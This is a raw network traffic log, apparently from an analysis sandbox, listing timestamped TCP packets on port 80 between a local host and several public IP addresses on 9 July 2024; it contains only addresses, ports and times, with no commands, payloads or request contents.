Jul 9, 2024 12:09:17.055020094 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:17.055030107 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.055044889 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.055047035 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:17.055083990 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:17.055186987 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.055283070 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.055335045 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:17.059722900 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.059771061 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.059786081 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.059807062 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:17.104717016 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:17.145467997 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.145509005 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.145524979 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.145566940 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:17.145639896 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.145654917 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.145682096 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:17.145751953 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.145816088 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:18.122291088 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.160339117 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.165390968 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.165488005 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.190130949 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.195172071 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.652714014 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.652759075 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.652796030 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.652831078 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.652843952 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.652868032 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.652883053 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.653050900 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.653084993 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.653100014 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.653120995 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.653155088 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.653162003 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.653191090 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.653263092 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.657960892 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.658015966 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.658050060 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.658073902 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.698537111 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.749159098 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.749198914 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.749233007 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.749255896 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.749265909 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.749304056 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.749331951 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:19.749337912 CEST	80	49729	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:19.749387026 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:20.701992989 CEST	49729	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:21.740504980 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:21.745424032 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:21.745497942 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:21.776390076 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:21.781589031 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:21.782418013 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.229559898 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.229598999 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.229615927 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.229748964 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:22.230041027 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.230057955 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.230072975 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.230088949 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.230114937 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:22.230150938 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:22.230199099 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.230215073 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.230230093 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.230252981 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:22.230355978 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:22.238671064 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.239317894 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.239465952 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:22.333381891 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.333446980 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.333467007 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.333540916 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.333575010 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:22.333589077 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.333714008 CEST	80	49730	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:22.333741903 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:22.339884043 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:23.294239998 CEST	49730	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.331918001 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.340096951 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.347896099 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.363899946 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.368808031 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.824593067 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.824619055 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.824639082 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.824793100 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.824807882 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.824824095 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.824821949 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.824842930 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.824871063 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.824871063 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.825164080 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.825177908 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.825195074 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.825216055 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.827967882 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.829843044 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.829899073 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.830140114 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.911488056 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.911853075 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.911869049 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.911896944 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.911915064 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.912092924 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.912095070 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.912095070 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.912111044 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.912578106 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.913038015 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.913054943 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.913070917 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.913362980 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.913378954 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.913388014 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.914463997 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.914632082 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.914649010 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.914659977 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.914786100 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.914800882 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.915024996 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.915040970 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.915050983 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.915057898 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.915074110 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.915090084 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.915111065 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.915894985 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.917098999 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.917160034 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.923897982 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.998764992 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.998788118 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.998806953 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.998904943 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.998944998 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.998961926 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.999085903 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.999085903 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.999450922 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.999468088 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.999484062 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.999511003 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.999527931 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.999532938 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.999542952 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.999560118 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.999560118 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:24.999576092 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:24.999597073 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.000221014 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.000288010 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.000303984 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.000319958 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.000335932 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.000438929 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.000438929 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.000679970 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.000695944 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.000711918 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.000818014 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.000834942 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.000842094 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.001292944 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.001317024 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.001409054 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.001425982 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.001508951 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.001508951 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.001552105 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.001578093 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.001595020 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.001615047 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.002170086 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.002259016 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.002275944 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.002440929 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.002456903 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.002465010 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.003895044 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.085673094 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.085707903 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.085722923 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.086011887 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:25.086051941 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.091922998 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.135907888 CEST	49731	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:25.142414093 CEST	80	49731	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:30.203062057 CEST	49732	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:30.207904100 CEST	80	49732	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:30.212120056 CEST	49732	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:30.239032030 CEST	49732	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:30.245034933 CEST	80	49732	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:31.747558117 CEST	49732	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:31.752846956 CEST	80	49732	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:31.752923012 CEST	49732	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:32.786006927 CEST	49733	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:32.790945053 CEST	80	49733	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:32.791186094 CEST	49733	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:32.817975044 CEST	49733	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:32.828691006 CEST	80	49733	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:34.325434923 CEST	49733	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:34.331247091 CEST	80	49733	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:34.331317902 CEST	49733	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:35.369484901 CEST	49734	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:35.374509096 CEST	80	49734	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:35.374594927 CEST	49734	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:35.406910896 CEST	49734	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:35.411978960 CEST	80	49734	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:35.412209034 CEST	80	49734	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:36.921120882 CEST	49734	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:36.926486969 CEST	80	49734	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:36.926631927 CEST	49734	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:37.960165024 CEST	49735	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:37.982888937 CEST	80	49735	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:37.982990980 CEST	49735	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:38.004076958 CEST	49735	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:38.009273052 CEST	80	49735	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:39.950083971 CEST	80	49735	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:39.950133085 CEST	80	49735	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:39.950237036 CEST	49735	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:39.969202995 CEST	49735	80	192.168.2.9	188.114.97.3
Jul 9, 2024 12:09:39.974239111 CEST	80	49735	188.114.97.3	192.168.2.9
Jul 9, 2024 12:09:45.050012112 CEST	49736	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:45.055059910 CEST	80	49736	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:45.060101986 CEST	49736	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:45.087320089 CEST	49736	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:45.092202902 CEST	80	49736	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:45.960496902 CEST	80	49736	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:45.962205887 CEST	80	49736	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:45.962253094 CEST	49736	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:46.593972921 CEST	49736	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:47.638251066 CEST	49737	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:47.643337011 CEST	80	49737	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:47.643449068 CEST	49737	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:47.673365116 CEST	49737	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:47.678467989 CEST	80	49737	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:48.562292099 CEST	80	49737	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:48.562314987 CEST	80	49737	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:48.562416077 CEST	49737	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:49.184887886 CEST	49737	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:50.233968973 CEST	49738	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:50.239156008 CEST	80	49738	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:50.240087986 CEST	49738	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:50.267985106 CEST	49738	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:50.272896051 CEST	80	49738	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:50.273101091 CEST	80	49738	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:51.124180079 CEST	80	49738	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:51.124735117 CEST	80	49738	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:51.124877930 CEST	49738	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:51.779120922 CEST	49738	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:52.816112995 CEST	49739	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:52.821201086 CEST	80	49739	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:52.821839094 CEST	49739	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:52.842521906 CEST	49739	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:52.847560883 CEST	80	49739	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:53.716774940 CEST	80	49739	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:53.716995001 CEST	80	49739	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:53.717036963 CEST	49739	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:53.731966019 CEST	49739	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:09:53.737015009 CEST	80	49739	188.114.96.3	192.168.2.9
Jul 9, 2024 12:10:00.189876080 CEST	49740	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:00.194860935 CEST	80	49740	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:00.194952011 CEST	49740	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:00.222301960 CEST	49740	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:00.228349924 CEST	80	49740	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:00.720489025 CEST	80	49740	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:00.746809959 CEST	80	49740	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:00.746922970 CEST	49740	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:01.732530117 CEST	49740	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:02.772020102 CEST	49741	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:02.777086020 CEST	80	49741	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:02.778887987 CEST	49741	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:02.804054976 CEST	49741	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:02.809030056 CEST	80	49741	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:03.301872969 CEST	80	49741	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:03.335037947 CEST	80	49741	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:03.335103035 CEST	49741	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:04.310213089 CEST	49741	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:05.343924999 CEST	49742	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:05.348936081 CEST	80	49742	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:05.349029064 CEST	49742	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:05.373657942 CEST	49742	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:05.378652096 CEST	80	49742	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:05.378796101 CEST	80	49742	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:05.913011074 CEST	80	49742	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:05.913119078 CEST	80	49742	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:05.913189888 CEST	49742	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:06.890006065 CEST	49742	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:07.934600115 CEST	49743	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:07.939574957 CEST	80	49743	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:07.939639091 CEST	49743	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:07.968761921 CEST	49743	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:07.973953962 CEST	80	49743	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:08.450248003 CEST	80	49743	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:08.486270905 CEST	80	49743	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:08.486418962 CEST	49743	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:08.490020037 CEST	49743	80	192.168.2.9	154.12.34.252
Jul 9, 2024 12:10:08.496429920 CEST	80	49743	154.12.34.252	192.168.2.9
Jul 9, 2024 12:10:13.769328117 CEST	49744	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:13.774260998 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:13.774333954 CEST	49744	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:13.803996086 CEST	49744	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:13.808908939 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.385708094 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.385771990 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.385809898 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.385843039 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.385879040 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.385880947 CEST	49744	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:14.385912895 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.385946035 CEST	49744	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:14.386022091 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.386068106 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.386102915 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.386128902 CEST	49744	80	192.168.2.9	162.254.38.56
